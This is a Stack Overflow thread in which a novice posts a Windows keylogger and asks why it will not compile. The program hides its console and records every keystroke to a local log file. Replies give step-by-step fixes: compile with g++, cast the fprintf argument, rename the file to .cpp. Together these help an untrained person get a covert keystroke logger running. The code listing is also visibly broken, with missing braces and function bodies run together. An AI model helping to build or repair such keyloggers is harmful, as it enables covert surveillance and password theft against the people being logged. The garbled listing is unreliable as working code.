Collectives™ on Stack Overflow

Find centralized, trusted content and collaborate around the technologies you use most.

Learn more about Collectives

Teams

Q&A for work

Connect and share knowledge within a single location that is structured and easy to search.

Learn more about Teams

First thing is that I don't know much about programming at all. I got some C code off of a site that isn't working; when I attempt to compile this keylogger:

#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char *file);
int main() {
 FreeConsole();
char i;
while (true) {
 Sleep(10);
 for (i = 8; i <= 255; i++) {
 if (GetAsyncKeyState(i) == -32767) {
 Save(i, "log.txt");
 return 0;
int Save(int _key, char *file) {
cout << _key << endl;
Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (_key == VK_SHIFT)
 fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
 else if (_key == VK_BACK)
 fprintf(OUTPUT_FILE, "%s", "[BACK]");
 else if (_key == VK_LBUTTON)
 fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
 else if (_key == VK_RETURN)
 fprintf(OUTPUT_FILE, "%s", "[RETURN]");
 else if (_key == VK_ESCAPE)
 fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
 fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;

command prompt gives me

fatal error: iostream: No such file or directory
compilation terminated.

I've also tried

#include <iostream.h> 

instead of

#include <iostream>

and got the same error. How do I compile the code? Is there something wrong with it, and if so how do I fix it? Thanks! (And if you could make it easy for a luddite like me to understand, I'd really appreciate it) Using GCC to compile, Windows 10 64-bit

How did you run your compiler? Inclusion of iostream would actually indicate C++ code and I have a slight suspicion you told gcc to compile C and not C++. (which would not consider and possible even understand corresponding header locations). Try calling g++ instead. – Ondrej K. Jun 19, 2018 at 16:08 that got rid of the iostream problem, but now it's giving me other errors: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings] Save(i, "log.txt"); with a ^ pointing to the close parenthesis. – user9963001 Jun 19, 2018 at 17:11

You need to tell GCC to link against the C++ library. Using g++ instead of gcc will force this.

The error is because fprintf with the %s formatter requires the a pointer to a char, you're passing a pointer to an int, in this situation you can simply cast to a char*

fprintf(OUTPUT_FILE, "%s", reinterpret_cast<char*>(&_key));

Then it will work.

Check that the filename of your C++ program is ".cpp".

Same as you, my C++ program couldn't find the right header files. In my situation, I simply had to rename my ".c" file to ".cpp" so that the Makefile would do the right thing and find the header files and libraries.

gcc is also C++ compiler so changing to g++ (which should also work), isn't necessary. Background on GCC: https://www3.ntu.edu.sg/home/ehchua/programming/cpp/gcc_make.html

Thanks for contributing an answer to Stack Overflow!

  • Please be sure to answer the question. Provide details and share your research!

But avoid

  • Asking for help, clarification, or responding to other answers.
  • Making statements based on opinion; back them up with references or personal experience.

To learn more, see our tips on writing great answers.